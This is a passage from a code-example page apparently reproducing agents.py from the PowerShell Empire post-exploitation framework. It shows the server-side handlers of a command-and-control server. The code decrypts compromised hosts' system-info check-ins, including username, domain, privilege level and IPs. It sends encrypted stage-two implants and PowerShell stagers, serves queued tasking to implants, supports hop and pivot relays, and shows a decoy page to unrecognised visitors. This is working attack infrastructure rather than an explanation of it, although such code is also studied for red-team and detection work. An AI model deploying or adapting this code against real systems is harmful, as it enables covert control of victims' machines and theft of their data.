                    dispatcher.send("[!] Agent "+str(sessionID)+" returned an invalid public key!", sender="Agents")
                    return (404, "")


        # step 5 of negotiation -> client posts sysinfo and requests agent
        elif resource.lstrip("/").split("?")[0] == self.stage2:

            if self.is_agent_present(sessionID):

                # if this is a hop.php relay
                if "?" in resource:
                    parts = resource.split("?")
                    if len(parts) == 2:
                        decoded = helpers.decode_base64(parts[1])

                        # get the staging key for the given listener, keyed by port
                        #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit 
                        config = self.listeners.get_staging_information(host=decoded)

                else:
                    config = self.listeners.get_staging_information(port=port)
                
                delay = config[4]
                jitter = config[5]
                profile = config[6]
                killDate = config[7]
                workingHours = config[8]
                lostLimit = config[11]

                # get the session key for the agent
                sessionKey = self.agents[sessionID][0]

                try:
                    # decrypt and parse the agent's sysinfo checkin
                    data = encryption.aes_decrypt(sessionKey, postData)

                    parts = data.split("|")

                    if len(parts) < 10:
                        dispatcher.send("[!] Agent "+str(sessionID)+" posted invalid sysinfo checkin format", sender="Agents")
                        # remove the agent from the cache/database
                        self.remove_agent(sessionID)
                        return (404, "")

                    listener = parts[0].encode('ascii','ignore')
                    domainname = parts[1].encode('ascii','ignore')
                    username = parts[2].encode('ascii','ignore')
                    hostname = parts[3].encode('ascii','ignore')
                    external_ip = clientIP.encode('ascii','ignore')
                    internal_ip = parts[4].encode('ascii','ignore')
                    os_details = parts[5].encode('ascii','ignore')
                    high_integrity = parts[6].encode('ascii','ignore')
                    process_name = parts[7].encode('ascii','ignore')
                    process_id = parts[8].encode('ascii','ignore')
                    ps_version = parts[9].encode('ascii','ignore')

                    if high_integrity == "True":
                        high_integrity = 1
                    else:
                        high_integrity = 0

                except:
                    # remove the agent from the cache/database
                    self.remove_agent(sessionID)
                    return (404, "")                    

                # let everyone know an agent got stage2
                if self.args and self.args.debug:
                    dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents")

                # step 6 of negotiation -> server sends patched agent.ps1
                agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,lostLimit)

                username = str(domainname)+"\\"+str(username)

                # update the agent with this new information
                self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, ps_version=ps_version)

                # encrypt the agent and send it back
                encryptedAgent = encryption.aes_encrypt(sessionKey, agentCode)

                # signal everyone that this agent is now active
                dispatcher.send("[+] Initial agent "+str(sessionID)+" from "+str(clientIP) + " now active", sender="Agents")
                output =  "[+] Agent " + str(sessionID) + " now active:\n"

                # set basic initial information to display for the agent
                agent = self.mainMenu.agents.get_agent(sessionID)

                keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"]

                agentInfo = dict(zip(keys, agent))

                for key in agentInfo:
                    if key != "functions":
                        output += "  %s\t%s\n" % ('{0: <16}'.format(key), messages.wrap_string(agentInfo[key], width=70))

                # save the initial sysinfo information in the agent log
                self.save_agent_log(sessionID, output + "\n")

                return(200, encryptedAgent)

            else:
                dispatcher.send("[!] Agent "+str(sessionID)+" posted sysinfo without initial checkin", sender="Agents")
                return (404, "")

        # default behavior, 404
        else:
            return (404, "")
예제 #10
0
파일: agents.py 프로젝트: lotus321/tools
    def process_get(self, port, clientIP, sessionID, resource):
        """
        Process a GET request.
        """

        # check to make sure this IP is allowed
        if not self.is_ip_allowed(clientIP):
            dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents")
            return (200, http.default_page())

        # see if the requested resource is in our valid task URI list
        if (self.is_uri_present(resource)):

            # if no session ID was supplied
            if not sessionID or sessionID == "":
                dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with no session ID.", sender="Agents")
                # return a 404 error code and no resource
                return (404, "")

            # if the sessionID doesn't exist in the cache
            # TODO: put this code before the URI present? ...
            if not self.is_agent_present(sessionID):
                dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with invalid session ID.", sender="Agents")
                return (404, "")

            # if the ID is currently in the cache, see if there's tasking for the agent
            else:
                
                # update the client's last seen time
                self.update_agent_lastseen(sessionID)

                # retrieve all agent taskings from the cache
                taskings = self.get_agent_tasks(sessionID)

                if taskings and taskings != []:

                    allTaskPackets = ""

                    # build tasking packets for everything we have
                    for tasking in taskings:
                        taskName, taskData = tasking
                        
                        # if there is tasking, build a tasking packet
                        taskPacket = packets.build_task_packet(taskName, taskData)
                        
                        allTaskPackets += taskPacket

                    # get the session key for the agent
                    sessionKey = self.agents[sessionID][0]

                    # encrypt the tasking packets with the agent's session key
                    encryptedData = encryption.aes_encrypt_then_mac(sessionKey, allTaskPackets)

                    return (200, encryptedData)

                # if no tasking for the agent
                else:
                    # just return the default page
                    return (200, http.default_page())

        # step 1 of negotiation -> client requests stage1 (stager.ps1)
        elif resource.lstrip("/").split("?")[0] == self.stage0:
            # return 200/valid and the initial stage code

            if self.args and self.args.debug:
                dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents")

            # get the staging information for the given listener, keyed by port
            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit
            config = self.listeners.get_staging_information(port=port)
            host = config[0]
            stagingkey = config[3]
            profile = config[6]
            stage = None

            # if we have a pivot or hop listener, use that config information instead for the stager
            if "?" in resource:
                parts = resource.split("?")
                if len(parts) == 2:
                    decoded = helpers.decode_base64(parts[1])

                    # http://server:port for a pivot listener
                    if decoded.count("/") == 2:
                        host = decoded
                    else:
                        # otherwise we have a http://server:port/hop.php listener
                        stage = self.stagers.generate_stager_hop(decoded, stagingkey, profile)

            if not stage:
                # generate the stage with appropriately patched information
                stage = self.stagers.generate_stager(host, stagingkey)

            # step 2 of negotiation -> return stager.ps1 (stage 1)
            return (200, stage)

        # default response
        else:
            # otherwise return the default page
            return (200, http.default_page())